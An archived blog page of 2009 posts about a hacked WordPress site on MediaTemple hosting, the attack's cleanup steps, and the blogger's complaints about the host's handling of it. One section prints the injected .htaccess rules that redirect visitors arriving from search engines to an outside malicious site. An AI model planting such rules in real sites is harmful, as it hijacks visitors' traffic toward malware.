Kyle Brady: Blog » MediaTemple

MediaTemple’s Continued Inadequacy Issues [Expose]

Kyle Brady — Thu, 26 Nov 2009 23:36:02 +0000

[note: substantial and important updates available]

Almost a month ago, I made MediaTemple, and the world, aware of an attack that seemed to be a large security issue, and they eventually admitted it was their problem to deal with, rather than blaming it on software like hosting companies like to do. But, weeks later, the problem is not yet resolved, and the public is largely still in the dark.

In the last week, I’ve been notified twice to change my FTP/SSH passwords, and the request yesterday came with an odd statement: the passwords had been previously stored as plaintext, rather than being encrypted or hashed, and that the attackers somehow had access to this - this was MediaTemple’s sole explanation of the massive security issue.

Entirely unacceptable.

After initially making this issue public, both here and at the Inquisitr, I received a phone call from Andrew Won (VP of Customer Service) and Chris, whose position I can’t remember, on 11/16/2009 saying that they discovered the issue, had patched the necessary software, and had submitted patches to the software’s vendors – but asked me to not say anything because of the “security process”. They didn’t give me enough details as to what was actually happening for me to matter, but I kept quiet.

The traffic on my blog, and the comments, continued to mount in the days that followed and it became clear that the issue had not been resolved – people were still being hit with this hack/attack. On 11/19/2009 I asked for an update from Andrew and received a reply stating:

Unfortunately, we still don't have anything public yet. We have already resolved all of the issues and this issue will not recur.

Well, as the attacks continued for other people’s accounts, even through today (11/26/2009), it’s obvious that they had not resolved the issue. When I irately called late last night (11/26/2009 early morning PST), the tech had no answers and neither did his supervisor – in fact, I knew more about the situation than they did, and I was given the partyline: “our engineers are aware of the issue and working to address it.” Further conversation with Andrew, via email, resulted in nothing but doublespeak and sidestepping my questions.

It’s obvious, at this point, that they are either incompetent or lazy – I’m not sure which. They were slow to respond to this in the first place, and have made one misstep after another, which isn’t giving the affected customers much faith in their hosting company, let alone those unaffected that hear the horror stories. The fact that passwords were stored in such an insecure way might be part of the issue, but there are larger problems: discovery, point of entry, depth of access, and execution – none of which (mt) is, in any way, addressing.

When I mentioned this to Andrew, he responded by effectively saying they still have no idea what the problem is or how to fix it:

We are still in the process of investigating this. Unfortunately, while we have a lot of theories and assumptions, we still do not have anything definitive. So please bear with us while we investigate this. We are taking all precautionary measures and locking down many external and internal systems. We will continue to closely monitor our systems and take appropriate actions.

And they even want to dispute the fact that it’s been almost a month, while downplaying the large number of customers affected:

It was not a matter of resolving over the period of 3 weeks. It was a matter of continuing to take steps, monitor and then take further steps. The number of sites actually affected is very small, but due to recent events, we decided that we needed to take a more blanket security approach and change all (gs) Grid Service Server Admin passwords as a precautionary measure.

The “security protocol”, mentioned above, is essentially a “don’t talk about it until it’s fixed” process, but it assumes that those involved are actually trying to fix it, and (mt) is using this as both a crutch and deflector shield – in addition to assuming unaware customers are happier than aware ones:

Chris and I advised you of security protocol, which is what we were following. And security protocol states that you do not publish public info until you are absolutely certain that the issue is resolved and that you are reasonably certain that the attacks or hacks have stopped.

We didn't have much choice in this matter. As we explained to you before, security is a very sensitive issue and by making information public, you are also feeding information to your attackers. We also alerted all affected sites and accounts of the issue and informed them of the steps that we have taken at the moment and time. This issue was still evolving when we last spoke.

Finally, when asked about compensation to customers for their utter failure as a semi-secure hosting company, which they haven’t actually fixed yet, Andrew once again sidesteps the issue by choosing to blame the users/customers instead of themselves:

We do encrypt passwords, but there was a separate file that was kept for the purpose of allowing customers to view their FTP and mySQL passwords through their Account Center. This was a feature many customers asked for in the past. However, we have decided that this feature comes at a price and we are no longer willing to take that risk. Yes, we have learned our lesson. We definitely do understand that this was a headache for ours customers, it was a huge one for us, so we can only imagine it was a much bigger for our customers. We will make sure to discuss a concession of some sort for those customers that were actually affected by this issue.

In summary:

these attacks are the result of MediaTemple’s failure as a hosting company

they chose to wait three weeks to even address the issue publicly

they claimed to have solved the issue long ago, when they hadn’t

they still haven’t solved the security issue, three-or-more weeks on

they continue to not reveal any details to users, while sidestepping most questions

they seem to have no idea of what is truly occurring

They’re going to lose alot of customers over this, especially since they are known for having large-scale problems on a regular basis.

--- --- ---

Update (11/26/2009 5:30pm PST): I had a lengthy phone conversation with Andrew, and while I can't comment on the details, I feel more confident in MediaTemple's abilities and in what they're doing to solve this large security issue. More concrete details as they come, but I would suggest that we have more patience with (mt) on this.

Update (11/30/2009 4:35pm PST): MediaTemple is slowly opening up about this, although the full story doesn't seem to be public yet. Details as/if they come.

“The Epic Wordpress + MediaTemple Failure” [Self]

Kyle Brady — Sun, 15 Nov 2009 21:57:46 +0000

New column at the Inquisitr:

If there’s a security issue floating around, you’d imagine that those behind the problem would be extremely interested in fixing it as soon as possible… right? Well, apparently not.

Go check it out.

Wordpress, MediaTemple, and an Injection Attack [Expose]

Kyle Brady — Sun, 08 Nov 2009 00:04:45 +0000

[note: this is a MediaTemple issue, not a Wordpress one, and more details have been made available on a new post. updates will follow there - this page serves as a good primer, but better "why?" answers can be found there]

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the tag

a list of hundreds of URLs to assorted pages, mostly porn, appeared after the tag on all pages of the site

for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page

Here’s how to fix it:

remove the eval() code from “index.php” in the root Wordpress directory

delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

delete the .nfs* file in the root Wordpress directory

if you’re really paranoid, replace all the Wordpress files with clean source

open the root .htaccess file and remove this code

I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case. MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing. But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future. Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it. Details to come.

Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.

Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.

Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it. Details to come soon.

Update (11/26/2009 1:30pm PST): The issue is still ongoing, and while I had been told it was solved a week ago, that is apparently not the case. I'm pushing for details, and will update soon. This situation is entirely unacceptable.

Update (11/16/2009 2:05pm PST): MediaTemple has released a sorry excuse for explaining what happened... but this is insufficient information and not the full story.

Update (11/16/2009 3:45pm PST): New post with more details on the inability to resolve this issue and their unwillingness to discuss it. Future details will be posted there, rather than here.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory

Example Link

found after the tag on all pages, list of hundreds of similar URLs

blow dryer tattoo

.htaccess Code

found in the root ".htaccess file"

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

Media Temple’s Unexpected Quality Customer Service [Old Content]

Kyle Brady — Fri, 15 May 2009 20:37:44 +0000

Media Temple has had downtime recently that affected large swaths of its customer base, and I was one of them. Being down overnight quickly spiraled into a week's worth of sporadic uptime, sluggish server response, and a host of other issues - just look at their incident reporting.

Naturally, I demanded a refund for the month, since I've been a customer for two years and have put up with their growing pains. But being down for days and days in a row, in addition to their rather regular "we don't know what broke" events and "scheduled maintenance", doesn't equate to the uptime they promise. They agreed, and said more information would be available after they resolved the issues.

Imagine my surprise when I got an email yesterday, notifying me of a $200 credit to my account - that's 5 months of service! I logged into my account to double-check and found this:

Well, well, Media Temple. Despite my usually-frustrating interactions with your customer service and technical support, you've managed to surprise me and exceed my expectations.

This rarely happens, for anyone, so feel free to celebrate...

You've managed to keep me as a customer for the foreseeable future.